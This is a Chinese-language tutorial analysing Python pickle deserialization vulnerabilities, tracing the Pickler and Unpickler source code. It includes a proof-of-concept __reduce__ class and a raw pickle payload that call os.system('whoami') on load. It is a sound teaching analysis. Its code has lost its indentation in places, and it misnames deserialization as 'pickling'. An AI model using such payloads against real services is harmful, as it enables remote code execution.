Python反序列漏洞分析

什麼是序列化？

程式執行的過程中，變數都是在記憶體中的，當程式一旦執行完畢結束退出後，變數佔有的記憶體就被釋放。

如果將記憶體中的變數持久化儲存到磁碟中，這個過程就成為序列化；下次執行的時候從磁碟中讀取變數到記憶體中，這個過程就成為反序列化。

在python中序列化稱為pickling，反序列化被稱為pickling；在php中序列化被稱為serialization，反序列化被稱為unserialization。

Pickle and marshal

涉及到Python反序列化安全問題的模組主要包含兩個pickle(cpickle)和marshal模組。

Pickle marshal的基本操作

import marshal
import pickle
dataList = ['test1', 'test2']
f = open('dataFile.txt', 'wb')
pickle.dump(dataList, f)
f.close()

• pickle.load(file) 從file中讀取序列化字串，反序列化轉換為python的資料物件

f = open('dataFile.txt', 'r')
dataList = pickle.load(f)
print(dataList) #['test1', 'test2']
f.close()

class A:
 def __init__(self):
print('This is A')
a = A()
p_a = pickle.dumps(a)
print(p_a)

class A:
 def __init__(self):
print('This is A')
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)

marsha模組同樣包括dump,load/dumps,loads四個操作函式，基本操作和pickle模組相似。

支援pickle的資料型別

• None，True和False

• 整數，長整數，浮點數，複數

• 普通和Unicode字串

• 元組，列表，集和僅包含可序列化物件的字典

• 在模組頂層定義的函式

• 在模組頂層定義的內建函式

• 在模組頂層定義的類

• __dict__或者呼叫__getstate__()併產生結果的類的例項

pickle marshal區別

一般情況下pickle應該始終是序列化Python物件的首選方法，marshal是一個更原始的序列化模組，marshal主要用於支援Python的.pyc檔案。

• pickle模組會跟蹤已經序列化的物件，因此以後對同一物件的引用將不會再次序列化。marshal則不會這樣做。

• marshal不能用於序列化使用者定義的類及其例項。pickle可以透明地儲存和恢復類例項，但是類定義必須是可匯入的，並且儲存在與儲存物件時相同的模組中。

• marshal序列化格式不能保證在Python版本之間可移植。pickle序列化格式保證在Python版本之間向後相容。

class A:
def __init__(self):
print('This is A')
a = A()
pickle.dumps(a)
marshal.dumps(a)# marshal不能用於序列化使用者定義的類及其例項，報錯 ValueError: unmarshallable object

Python反序列化程式碼執行問題

class A(object):
 def __init__(self, func, arg):
self.func = func
self.arg = arg
print('This is A')
 def __reduce__(self):
return (self.func, self.arg)
a = A(os.system, ('whoami',))
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)
'''
This is A
rai4over
==========
cposix
system
p0
(S'whoami'
p1
tp2
Rp3
.
'''

• pickle.loads

  pickle.loads或者pickle.load的引數可控同樣會造成程式碼執行。

payload = '''cposix
system
p0
(S'whoami'
p1
tp2
Rp3
.'''
pickle.loads(payload)
#rai4over

Pickle模組原始碼淺析

原始碼總體關鍵物件

MARK= '('# push special markobject on stack
STOP= '.'# every pickle ends with STOP
POP= '0'# discard topmost stack item
POP_MARK= '1'# discard stack top through topmost markobject
DUP= '2'# duplicate top stack item
.................
.................
NEWFALSE= '\x89'# push False
LONG1= '\x8a'# push long from < 256 bytes
LONG4= '\x8b'# push really big long

class Pickler，pickle.dump和pickle.dumps都會例項化這個類。
class Unpickler，pickle.load和pickle.loads都會例項化這個類。

def dump(obj, file, protocol=None):
Pickler(file, protocol).dump(obj)

def dumps(obj, protocol=None):
file = StringIO()
Pickler(file, protocol).dump(obj)
return file.getvalue()

def load(file):
return Unpickler(file).load()

def loads(str):
file = StringIO(str)
return Unpickler(file).load()

序列化流程淺析

class A(object):
def __init__(self, func, arg):
self.func = func
self.arg = arg
print('This is A')

def __reduce__(self):
return (self.func, self.arg)

a = A(os.system, ('whoami',))
p_a = pickle.dumps(a)

• 首先呼叫dumps方法，然後例項化Pickler類，會傳入空的可寫入物件進入__init__完成初始化，並呼叫該類的dump方法並傳入序列化物件開始進行序列化。

def dumps(obj, protocol=None):
file = StringIO()
Pickler(file, protocol).dump(obj)
return file.getvalue()

初始化過程中對協議的型別進行了判斷，還有將可寫入物件的賦值給self.write等操作

class Pickler:

def __init__(self, file, protocol=None):
if protocol is None:
protocol = 0
if protocol < 0:
protocol = HIGHEST_PROTOCOL
elif not 0 <= protocol <= HIGHEST_PROTOCOL:
raise ValueError("pickle protocol must be <= %d" % HIGHEST_PROTOCOL)
self.write = file.write
self.memo = {}
self.proto = int(protocol)
self.bin = protocol >= 1
self.fast = 0

• 除了初始化，還需要注意的就是類變數dispatch，這個類變數是一個字典，鍵名是並非常見的string型別，而是使用的types模組下定義的資料的型別。

#types.py
NoneType = type(None)
TypeType = type
ObjectType = object

IntType = int
LongType = long
FloatType = float
BooleanType = bool
try:
ComplexType = complex
except NameError:
pass

StringType = str

try:
UnicodeType = unicode
StringTypes = (StringType, UnicodeType)
except NameError:
StringTypes = (StringType,)

BufferType = buffer

TupleType = tuple
ListType = list
DictType = DictionaryType = dict

def _f(): pass
FunctionType = type(_f)
LambdaType = type(lambda: None)# Same as FunctionType
CodeType = type(_f.func_code)

鍵值則為各個處理方法的地址，dispatch建立起了變數型別和處理方法的對映，可以稱之為排程表。

def dump(self, obj):
"""Write a pickled representation of obj to the open file."""
if self.proto >= 2:
self.write(PROTO + chr(self.proto))
self.save(obj)
self.write(STOP)

save方法類似於一個分析排程器，分析我們傳進來的需要序列化物件的資料型別，屬性，根據結果進行不同調度，當傳入的物件型別存在於dispatch排程表內時，直接傳入處理函式，完成序列化。

示例中的序列化物件型別就是<class '__main__.A'>，不存在於dispatch排程表，因此是通過分析__reduce_ex__屬性得到結果變數rv，我們可以發現這個就是我們定義類中的__reduce__的回撥內容。

self.save_reduce(obj=obj, *rv)

def save_reduce(self, func, args, state=None,
listitems=None, dictitems=None, obj=None):

if not isinstance(args, TupleType):
raise PicklingError("args from reduce() should be a tuple")
 
if not hasattr(func, '__call__'):
#.......................
#.......................
if self.proto >= 2 and getattr(func, "__name__", "") == "__newobj__":
#.......................
#.......................
else:
save(func)#再次進入save
save(args)#再次進入save
write(REDUCE)

此時重新經過save函式分析傳進來了物件型別為<type 'builtin_function_or_method'>，可以在排程表裡面找到。

save(args)是元組，同樣可以在排程表中找到對應方法，序列化過程基本完成。

反序列化流程淺析

payload = '''cposix
system
p0
(S'whoami'
p1
tp2
Rp3
.'''
pickle.loads(payload)

首先呼叫loads方法，然後例項化Unpickler類，進入__init__完成初始化，並呼叫該類的load方法開始反序列化。

def loads(str):
file = StringIO(str)
return Unpickler(file).load()

初始化後，同樣擁有一個字典排程表dispatch，但這個這個排程表和pickle類中的不一樣，鍵名是Pickle opcodes，鍵值是反序列化的處理方法。

然後進入load函式，對序列化字元進行關鍵位元組讀取，然後在排程表dispatch中尋找對應的處理函式。

def load(self):
"""Read a pickled object representation from the open file.
 
Return the reconstituted object hierarchy specified in the file.
"""
self.mark = object() # any new unique object
self.stack = []
self.append = self.stack.append
read = self.read
dispatch = self.dispatch
try:
while 1:
key = read(1) #key=c
dispatch[key](self)
except _Stop, stopinst:
return stopinst.value

比如我們反序列化的字串的第一個字元為c，則根據排程表進入load_global函式，分別讀取模組posix和方法名稱system，然後進入find_class函式。

在find_class函式中，根據模組名匯入模組，然後獲取模組的方法，存入klass，然後作為返回值，並新增到stack中。

• 依次讀取Pickle opcodes，完成反序列化，關鍵操作如下。

• 當為S時，呼叫函式load_string，讀取命令字串whoami並新增到stack中。

當為R時，呼叫load_reduce，從棧中獲取回撥函式和引數，並執行。